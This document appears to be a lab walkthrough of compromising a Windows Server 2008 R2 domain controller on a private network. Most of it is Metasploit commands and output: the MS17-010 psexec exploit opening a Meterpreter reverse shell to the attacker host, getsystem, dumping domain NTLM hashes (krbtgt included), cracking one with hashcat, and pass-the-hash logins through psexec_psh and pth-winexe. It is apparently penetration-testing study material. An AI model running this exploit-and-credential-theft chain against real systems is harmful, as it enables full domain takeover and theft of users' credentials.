NTDS.dit dump

Win2k8

Source:
https://msrc-blog.microsoft.com/2017/06/29/eternal-champion-exploit-analysis/

Exploit name:

```
msf exploit(windows/smb/ms17_010_psexec)
```

Exploit description:

```
Description:
  This module will exploit SMB with vulnerabilities in MS17-010 to
  achieve a write-what-where primitive. This will then be used to
  overwrite the connection session information with as an
  Administrator session. From there, the normal psexec payload code
  execution is done. Exploits a type confusion between Transaction and
  WriteAndX requests and a race condition in Transaction requests, as
  seen in the EternalRomance, EternalChampion, and EternalSynergy
  exploits. This exploit chain is more reliable than the EternalBlue
  exploit, but requires a named pipe.
```

Exploit options:

```
Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                  Required
   ----                  ---------------                                                  --------
   DBGTRACE              false                                                            yes
   LEAKATTEMPTS          99                                                               yes
   NAMEDPIPE                                                                              no
 auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt   yes
   RHOST                 192.168.40.139                                                   yes
   RPORT                 445                                                              yes
   SERVICE_DESCRIPTION                                                                    no
 listing
   SERVICE_DISPLAY_NAME                                                                   no
   SERVICE_NAME                                                                           no
   SHARE                 ADMIN$                                                           yes
,C$,...) or a normal read/write folder share
   SMBDomain             .                                                                no
   SMBPass                                                                                no
   SMBUser                                                                                no


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.40.146   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

Reverse shell popped:

```
msf exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.40.146:4444
[*] 192.168.40.139:445 - Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.40.139:445 - Built a write-what-where primitive...
[+] 192.168.40.139:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.40.139:445 - Selecting PowerShell target
[*] 192.168.40.139:445 - Executing the payload...
[+] 192.168.40.139:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.40.139
[*] Meterpreter session 2 opened (192.168.40.146:4444 -> 192.168.40.139:58257) at 2019-11-27 00:05:17 -0500

meterpreter > 
```

Getting domain creds:

Sources:
https://www.darkoperator.com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html
https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

TBC: auxiliary/admin/smb/psexec_ntdsgrab:

```
auxiliary/admin/smb/psexec_ntdsgrab                normal     PsExec NTDS.dit And SYSTEM Hive Download Utility
```

Location of ntds.dit

```
C:\>dir /s ntds.dit
dir /s ntds.dit
 Volume in drive C has no label.
 Volume Serial Number is 6A2E-5320

 Directory of C:\Windows\NTDS

11/20/2019  11:09 AM        18,890,752 ntds.dit
               1 File(s)     18,890,752 bytes

 Directory of C:\Windows\winsxs\amd64_microsoft-windows-d.

06/11/2009  04:31 AM        12,599,296 ntds.dit
               1 File(s)     12,599,296 bytes

     Total Files Listed:
               2 File(s)     31,490,048 bytes
               0 Dir(s)  11,827,519,488 bytes free

C:\>
```

Module info:

```
msf post(windows/gather/smart_hashdump) > info

       Name: Windows Gather Local and Domain Controller Account Password Hashes
     Module: post/windows/gather/smart_hashdump
   Platform: Windows
       Arch:
       Rank: Normal
```

Getsystem before running smart_hashdump:

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```

Background session so we can run smart_hashdump to gather creds:

```
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/smb/ms17_010_psexec) > use post/windows/gather/smart_hashdump
```

Domain hashes:

```
msf post(windows/gather/smart_hashdump) > run

[*] Running module against WIN2008
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20191127001759_default_192.168.40.139_windows.hashes_465401.txt
[+]     This host is a Domain Controller!
[*] Dumping password hashes...
[-] Failed to dump hashes as SYSTEM, trying to migrate to another process
[*] Migrating to process owned by SYSTEM
[*] Migrating to wininit.exe
[+] Successfully migrated to wininit.exe
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:befb7fc22be61f10cfefbcdec570e706
[+]     krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6823e8df56e43ebc404ea90d1becaf35
[+]     normaluser:1103:aad3b435b51404eeaad3b435b51404ee:ae974876d974abd805a989ebead86846
[+]     adminuser:1105:aad3b435b51404eeaad3b435b51404ee:63f869b7412a073bd02c3ad0e17c04d4
[+]     WIN2008$:1000:aad3b435b51404eeaad3b435b51404ee:14c7bbf1d13fe0c70444d89a8a3d5905
[+]     ETERNALBLUE$:1104:aad3b435b51404eeaad3b435b51404ee:8c408219a6021e925388967bb63da149
[+]     WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:32b471c8d4c8d8a956a19fe62e88b13c
[*] Post module execution completed
```

We are only interested in ntlm hash

```
root@kali:/tmp# cat hashes.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:befb7fc22be61f10cfefbcdec570e706
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6823e8df56e43ebc404ea90d1becaf35
normaluser:1103:aad3b435b51404eeaad3b435b51404ee:ae974876d974abd805a989ebead86846
adminuser:1105:aad3b435b51404eeaad3b435b51404ee:63f869b7412a073bd02c3ad0e17c04d4
WIN2008$:1000:aad3b435b51404eeaad3b435b51404ee:14c7bbf1d13fe0c70444d89a8a3d5905
ETERNALBLUE$:1104:aad3b435b51404eeaad3b435b51404ee:8c408219a6021e925388967bb63da149
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:32b471c8d4c8d8a956a19fe62e88b13c
root@kali:/tmp# cat hashes.txt | cut -d ':' -f4 | tee ntlm.txt
befb7fc22be61f10cfefbcdec570e706
6823e8df56e43ebc404ea90d1becaf35
ae974876d974abd805a989ebead86846
63f869b7412a073bd02c3ad0e17c04d4
14c7bbf1d13fe0c70444d89a8a3d5905
8c408219a6021e925388967bb63da149
32b471c8d4c8d8a956a19fe62e88b13c
```

Normaluser -> P@ssw0rd1

```
root@kali:/tmp# hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt --force --show
ae974876d974abd805a989ebead86846:P@ssw0rd1
root@kali:/tmp#
```

Testing creds:
Works only if account has admin credential

Administrator

```
Module options (exploit/windows/smb/psexec_psh):

   Name                  Current Setting                                                  Required
   ----                  ---------------                                                  --------
   DryRun                false                                                            no
   RHOST                 192.168.40.139                                                   yes
   RPORT                 445                                                              yes
   SERVICE_DESCRIPTION                                                                    no
tty listing
   SERVICE_DISPLAY_NAME                                                                   no
   SERVICE_NAME                                                                           no
   SMBDomain             hack                                                             no
   SMBPass               aad3b435b51404eeaad3b435b51404ee:befb7fc22be61f10cfefbcdec570e706  no
   SMBUser               administrator                                                    no


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.40.146   yes       The listen address (an interface may be specified)
   LPORT     1111             yes       The listen port
```

```
msf exploit(windows/smb/psexec_psh) > run

[*] Started reverse TCP handler on 192.168.40.146:1111
[*] 192.168.40.139:445 - Executing the payload...
[+] 192.168.40.139:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.40.139
[*] Meterpreter session 1 opened (192.168.40.146:1111 -> 192.168.40.139:58368) at 2019-11-27 00:31:24 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

adminuser

```
   Name                  Current Setting                                                  Required
   ----                  ---------------                                                  --------
   DryRun                false                                                            no
   RHOST                 192.168.40.139                                                   yes
   RPORT                 445                                                              yes
   SERVICE_DESCRIPTION                                                                    no
tty listing
   SERVICE_DISPLAY_NAME                                                                   no
   SERVICE_NAME                                                                           no
   SMBDomain             hack                                                             no
   SMBPass               aad3b435b51404eeaad3b435b51404ee:63f869b7412a073bd02c3ad0e17c04d4  no
   SMBUser               adminuser                                                        no


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.40.146   yes       The listen address (an interface may be specified)
   LPORT     1111             yes       The listen port
```

```
msf exploit(windows/smb/psexec_psh) > run

[*] Started reverse TCP handler on 192.168.40.146:1111
[*] 192.168.40.139:445 - Executing the payload...
[+] 192.168.40.139:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.40.139
[*] Meterpreter session 2 opened (192.168.40.146:1111 -> 192.168.40.139:58382) at 2019-11-27 00:34:31 -0500

meterpreter > 
```

Testing creds via pth-winexe:

Administrator

```
root@kali:/tmp# pth-winexe -U hack/Administrator%aad3b435b51404eeaad3b435b51404ee:befb7fc22be61f10cfefbcdec570e706 //192.168.40.139 cmd
E md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

adminuser

```
root@kali:/tmp# pth-winexe -U hack/adminuser%aad3b435b51404eeaad3b435b51404ee:63f869b7412a073bd02c3ad0e17c04d4 //192.168.40.139 cmd
E md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```